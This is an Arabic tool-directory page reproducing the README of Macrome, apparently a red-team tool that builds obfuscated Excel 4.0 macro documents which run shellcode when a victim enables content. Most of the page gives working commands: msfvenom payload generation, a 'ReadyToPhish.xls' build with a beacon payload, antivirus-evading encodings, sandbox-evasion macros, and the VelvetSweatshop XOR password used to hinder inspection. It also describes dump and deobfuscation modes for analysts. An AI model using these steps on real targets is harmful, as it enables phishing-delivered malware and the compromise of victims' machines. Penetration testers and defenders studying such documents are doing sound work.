Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Macrome — قارئ/كاتب مستندات ماكرو إكسل لفرق الاختراق الأخلاقي والمحللين | Kitploit
أدوات/GitHubGitHub/michaelweber/macrome
توليد الحمولةالاستغلالالتصيد الاحتياليتحليل البرمجيات الخبيثةاختبار الاختراقالهندسة الاجتماعيةتحليل الملفات الثنائيةالفريق الأحمر
GitHubmichaelweber/macrome

Macrome

قارئ/كاتب مستندات ماكرو إكسل لفرق الاختراق الأخلاقي والمحللين

عرض المستودع
52278منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Macrome

أداة قراءة/كتابة مستندات Excel Macro لمحترفي الاختراق الأمني والمحللين. يمكن العثور على منشورات المدونة التي تصف ما تفعله هذه الأداة فعليًا هنا وهنا.

مثال لمستند تم إنشاؤه باستخدام القالب الافتراضي.

التثبيت / البناء

قم باستنساخ أو تنزيل هذا المستودع، ثم يمكن تشغيل الأداة باستخدام dotnet - على سبيل المثال:

root@kitploit:~
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

أو

root@kitploit:~
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

لاحظ أن إصدار 5.0+ من dotnet مطلوب لكي يعمل هذا كما تم تكوينه - يمكن الحصول عليه من https://dotnet.microsoft.com/download/dotnet/5.0.

يمكن العثور على إصدارات ثنائية من الأداة لا تتطلب dotnet وتحتوي على ملف تنفيذي في قسم الإصدارات (Release) لأنظمة Windows و OSX و Linux.

الاستخدام

قم بتشغيل Macrome إما باستخدام dotnet run من دليل الحل، أو dotnet ضد ملف Macrome الثنائي المبني. هناك ثلاثة أوضاع تشغيل لـ Macrome - وضع البناء (Build mode)، ووضع التفريغ (Dump mode)، ووضع إزالة التعتيم (Deobfuscation mode).

وضع البناء

قم بتشغيل Macrome باستخدام الأمر build لإنشاء مستند Excel يحتوي على ورقة ماكرو مشوشة باستخدام مستند خادع وحمولة ماكرو. dotnet Macrome.dll build -h سيعرض تعليمات الاستخدام الكاملة.

على سبيل المثال، لبناء مستند باستخدام المستند الخادع path/to/decoy_document.xls وحمولة شيل كود ثنائية x86 مخزنة في path/to/shellcode.bin، قم بتشغيل dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. سينشئ هذا مستند XLS 2003 والذي بعد فتحه والضغط على زر "Enable Content" سينفذ شيل كود shellcode.bin.

كيف يجب أن أشغل هذا؟

بقية التوثيق ستشرح كل علامة/وظيفة بالتفصيل، ولكن في الوقت الحالي يمكن الحصول على "الأحدث والأفضل" الذي تقدمه Macrome عن طريق تشغيل:

root@kitploit:~
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

استخدام الحمولة الثنائية

أولاً، قم بإنشاء مستند Excel "خادع" أساسي سيحتوي على المحتوى الذي يجب أن يراه المستخدمون. يجب أن يكون هذا نوعًا من الإغراء الذي يقنع المستخدمين بالنقر على زر "Enable Macros" المعروض في Excel. توجد بعض الأمثلة على أحدث الإبداعات في https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. بعد إنشاء هذه الورقة، احفظ المستند كنوع Excel 97-2003 Workbook (*.xls) بدلاً من الصيغة الأحدث Excel Workbook (*.xlsx). تم تضمين مستند خادع مثال في /Docs/decoy_document.xls. لاحظ أنه إذا كنت تستخدم تشويش XOR لحماية مستندك، فلا يمكنك حاليًا إضافة صورة إلى المستند الخادع.

بعد ذلك، قم بإنشاء حمولة شيل كود لتقديمها للأداة. تم إنشاء الحمولة الثنائية المثال (التي تفتح الحاسبة) باستخدام msfvenom باستخدام المعاملات التالية:

root@kitploit:~
 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

الحمولات ذات 64 بت مدعومة أيضًا. الحمولة المثال ذات 64 بت، popcalc64.bin، تم إنشاؤها باستخدام الأمر:

root@kitploit:~
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

يمكن بعد ذلك تضمين هذه الحمولة عن طريق تنفيذ الأمر:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

حاليًا، تتطلب الحمولات ذات 64 بت تقديم حمولة x86 أيضًا. إذا لم تكن هذه مشكلة، يمكنك فقط تحديد بيانات عشوائية لعلم الحمولة x86.

هناك دعم مستقبلي لتضمين مجموعات .NET مباشرة في المستند، ولكن إذا كنت تريد فعل ذلك الآن، أقترح استخدام EXCELntDonut.

اعتبارًا من Macrome 0.5.0 وما فوق، سيتم تشفير جميع الحمولات بـ base64، لذا ستكون حمولتك قادرة على احتواء أي تسلسل بايت (بما في ذلك البايتات الصفرية).

تضمين الملفات القابلة للتنفيذ

إذا كنت تريد تضمين ملف قابل للتنفيذ .NET باستخدام Macrome، أقترح استخدام Donut بالأمر donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe، ثم تضمين الحمولة الناتجة كحمولة 32 بت و64 بت.

بديل قوي آخر هو Amber والذي عمل بشكل رائع لتضمين ملفات Go كبيرة الحجم.

ترميز الحمولة القديم

إذا كنت لسبب ما تريد استخدام وضع ترميز الحمولة القديم من ما قبل Macrome 0.5.0، استخدم العلم --payload-method مع SheetPackingMethod. لاحظ أنه في الوضع القديم، استخدام حمولة ذات غالبية أحرف أبجدية رقمية سيقلل من حجم ملف الماكرو الناتج لأنه من الأسهل التعبير عن الحروف والأرقام في شكل ماكرو بدلاً من إضافة استدعاءات دالة CHAR مرارًا وتكرارًا مثل =CHAR(123)&CHAR(124)&CHAR(125)... إلخ. لكن الأداة يجب أن تكون قادرة على التعامل مع حمولة ثنائية غير قابلة للطباعة تمامًا أيضًا.

استخدام حمولة ماكرو

مماثل لاستخدام الحمولة الثنائية، يجب أولاً إنشاء مستند خادع. بعد ذلك، يجب إنشاء ملف نصي يحتوي على الماكرو الذي سيتم تشغيله. يجب أن تكون أعمدة الماكرو مفصولة بفاصلة منقوطة ; وصفوف مفصولة بأسطر جديدة. حاليًا، سيتم كتابة محتوى الماكرو المحدد وتنفيذه بدءًا من A1 - على الرغم من أنه سيتم إضافة دعم مستقبلي للسماح بتحديد موقع البداية. يمكن العثور على أمثلة للماكرو في /Docs/macro_example.txt و /Docs/multi_column_macro_example.txt.

أخيرًا، قم بتشغيل الأمر:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

لاحظ استخدام العلم payload-type مضبوطًا على Macro.

يمكنك إنشاء ماكرو بنفسك، أو يمكنك استخدام الأداة الرائعة EXCELntDonut لإنشاء ماكرو لك.

اختيار طريقة الترميز

سيتم تفصيل هذه في منشور مدونة قادم، لكن Macrome يمكنها الآن ترميز حمولات الماكرو بثلاث طرق مختلفة. معظم هذه الطرق لا تزال غير مكتشفة من قبل أي برنامج مكافحة فيروسات - ولكن جرب مع حمولاتك لترى ما هو الأفضل.

  1. CharSubroutine - يستبدل استخدام دوال CHAR() المتكررة عن طريق إنشاء روتين فرعي في خلية عشوائية، ثم استدعائه باستخدام سلسلة طويلة من دوال IF و SET.NAME. هذا شيء لم يتم إساءة استخدامه بعد من قبل مؤلفي الماكرو الضار البارزين، لذا من غير المرجح أن يتم رصده من قبل مكافحة الفيروسات في الوقت الحالي.
  2. ObfuscatedCharFunc - وظيفة الترميز الأصلية لـ Macrome. استدعاء CHAR() ولكن إضافته إلى خلية فارغة عشوائية ولف القيمة في دالة ROUND.
  3. ObfuscatedCharFuncAlt - اختلاف طفيف عن الترميز الأصلي، بدلاً من استخدام PtgFunc لاستدعاء CHAR، نستخدم PtgFuncVar - وهذا يكسر معظم التوقيعات التي تحاول عد استدعاءات CHAR.
  4. AntiAnalysisCharSubroutine - نفس CharSubroutine ولكن المتغيرات التي يتم تمريرها إلى الروتين الفرعي يتم تشويشها باستخدام حيل Unicode كما هو موضح هنا. لاحظ أن هذا سيؤدي إلى إنشاء مستند أكبر من وضع CharSubroutine بسبب إضافة أسماء متغيرات خادعة.
  5. ArgumentSubroutines - ينشئ روتينًا فرعيًا مخصصًا لـ CHAR() و FORMULA()، ويستدعيهما كدوال مخصصة، ويقوم بتحليل الوسائط باستخدام دالة ARGUMENT() التي تحصل على دعم أقل من المحاكيات.

حدد ترميزًا باستخدام العلم method عند البناء - على سبيل المثال، لاستخدام مرمز CharSubroutine:

root@kitploit:~
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

ماكرو المقدمة

في بعض الأحيان قد ترغب في تشغيل ماكرو معين قبل تشغيل كود الحمولة. هذا مفيد عند إضافة ماكرو لتفادي بيئة الاختبار و/أو التحقق من أن حمولتك تعمل على المضيف الصحيح.

تنسيق ملفات المقدمة هو نفسه تمامًا عند استخدام payload-type Macro، لكنها تدعم عمودًا واحدًا فقط. على سبيل المثال، يمكن أن يكون لديك مقدمة مثل:

root@kitploit:~
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

سيؤدي هذا إلى التحقق من قيم دقة الشاشة، وجود ماوس، والقدرة على تشغيل الصوت. إذا فشل أي من هذه، سيتم إغلاق التطبيق قبل تشغيل محتوى الحمولة الرئيسي.

بالإضافة إلى ذلك، إذا كنت ترغب في أن يتم تقييم ماكرو المقدمة فورًا، بدلاً من بعد فك الحمولات المتبقية، يمكنك وضع %%%%% قبل الأمر. على سبيل المثال:

root@kitploit:~
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

هذا مفيد لتقليل عدد أوامر XLM التي يتم تشغيلها قبل إنهاء المستند ويمكن أن يساعد في ردود فعل أكثر فورية تجاه وجود مؤشرات بيئة الاختبار.

حماية كلمة المرور بتشفير XOR

يدعم Macrome 0.3.0+ حماية المستندات بكلمة مرور باستخدام تشويش XOR، وهو وضع تشفير قديم من إصدارات Office الأقدم بكثير. غالبًا ما يكون وضع التشفير هذا غير مدعوم من أدوات الاستجابة للحوادث ويمكن أن يساعد في حماية محتوى المستند من الفحص.

لدى Excel كلمة مرور "افتراضية" هي VelvetSweatshop، والتي ستسمح لك بتشفير محتوى المستند مع جعل المستند يفك تشفيره تلقائيًا عند فتحه. هذه هي الطريقة "المثالية" لاستخدام تشويش XOR في سياق هجومي. ستقوم Macrome تلقائيًا بمحاولة استخدام كلمة المرور هذه عند إزالة التعتيم أو تفريغ مستند.

لاستخدام هذه الوظيفة، ببساطة أضف --password <passwordToEncrypt> إلى أمر البناء الخاص بك.

وضع التفريغ

قم بتشغيل Macrome باستخدام الأمر dump لطباعة سجلات BIFF8 الأكثر صلة لأي مستند. هذه الوظيفة مشابهة لوظيفة تفريغ الماكرو في olevba، لكنها تحتوي على معالجة أكثر اكتمالاً لمدخلات Ptg ذات الحالات الحدودية للمساعدة في ضمان أن يكون التنسيق قريبًا قدر الإمكان من إدخالات FORMULA الفعلية في Excel. هذا ما كنت أستخدمه لتصحيح بعض المستندات ذات الحالات الحدودية الغريبة التي كنت أنشئها أثناء صنع هذه الأداة، لذا فهي قوية نسبيًا. أنا متأكد من أن هناك الكثير من الحالات الحدودية غير المدعومة حاليًا، لذا إذا وجدت مستندًا لا يقوم بتفريغ محتواه بشكل صحيح، يرجى فتح مشكلة ومشاركة المستند كملف مضغوط.

يتطلب الأمر dump فقط وسيط path يشير إلى الملف الهدف. مثال على الاستدعاء هو:

root@kitploit:~
dotnet Macrome.dll dump --path docToDump.xls

معظم أعلام الأمر dump مخصصة لتصحيح الأخطاء، لكن dump-hex-bytes قد يكون مفيدًا للمستخدمين الذين يريدون رؤية حمولات البايت الفردية للسجلات ذات الصلة. هذه وظيفة مشابهة لـ BiffView، على الرغم من أنه سيتم عرض الإدخالات الخاصة بالمستندات الضارة فقط افتراضيًا.

وضع إزالة التعتيم

قم بتشغيل Macrome باستخدام الأمر deobfuscate لأخذ مستند ثنائي XLS مشوش ومحاولة عكس العديد من السلوكيات المضادة للتحليل. dotnet Macrome.dll deobfuscate -h سيعرض تعليمات الاستخدام الكاملة. حاليًا، بشكل افتراضي سيقوم هذا الوضع بما يلي:

  • إظهار جميع الأوراق بغض النظر عن حالتها المخفية
  • تطبيع التسميات المحددة يدويًا لجميع إدخالات Lbl التي سيفسرها Excel كإدخالات Auto_Open على الرغم من أن اسمها لا يتطابق مع تلك السلسلة.

على سبيل المثال، لإزالة التعتيم عن ملف ماكرو خبيث XLS 2003 في path/to/obfuscated_file.xls، قم بتشغيل dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. سينشئ هذا نسخة من الملف المشوش والتي ستكون أسهل في التحليل يدويًا أو باستخدام الأدوات.

ملاحظة: هذا لا يفعل الكثير بعد، فهو يهدف بشكل أساسي إلى إظهار كيف يمكن أن يساعد استخدام مكتبة b2xtranslator المعدلة في أتمتة إزالة التعتيم. الميزات الأكثر فائدة قادمة قريبًا.

الشكر والامتنان

شكر كبير لجميع الأكتاف التي تمكنت من الوقوف عليها لكتابة هذا.

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - قام فريق Outflank بإنشاء هذا الهجوم، أنا فقط أقوم بأتمتة بعض الأجزاء المملة.
  • الأشخاص في InQuest لكتاباتهم الممتازة حول ما يفعله مؤلفو البرامج الضارة لتجنب الكشف حاليًا.
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware لأداتهم الرائعة XLMMacroDeobfuscator والتي كانت رائعة للاختبار ضدها وهي مجرد قطعة تقنية رائعة إذا كنت في جانب الدفاع/التحليل.
  • @JoeLeonJr لأداتهم الرائعة EXCELntDonut والتي سرقتها قمت بتكييف ماكرو Excel متعدد البنى منها لإضافة دعم بنية x64 إلى Macrome.
  • المؤلفون الأصليون لمكتبة b2xtranslator وكذلك الأشخاص في EvolutionJobs الذين قاموا بتحديثها ونقلها إلى dotnet. تم الحصول على الكود المستخدم هنا مبدئيًا من https://github.com/EvolutionJobs/b2xtranslator.
  • الصور مأخوذة من شريط KC Green الهزلي على https://gunshowcomic.com/648
تنزيل الأداة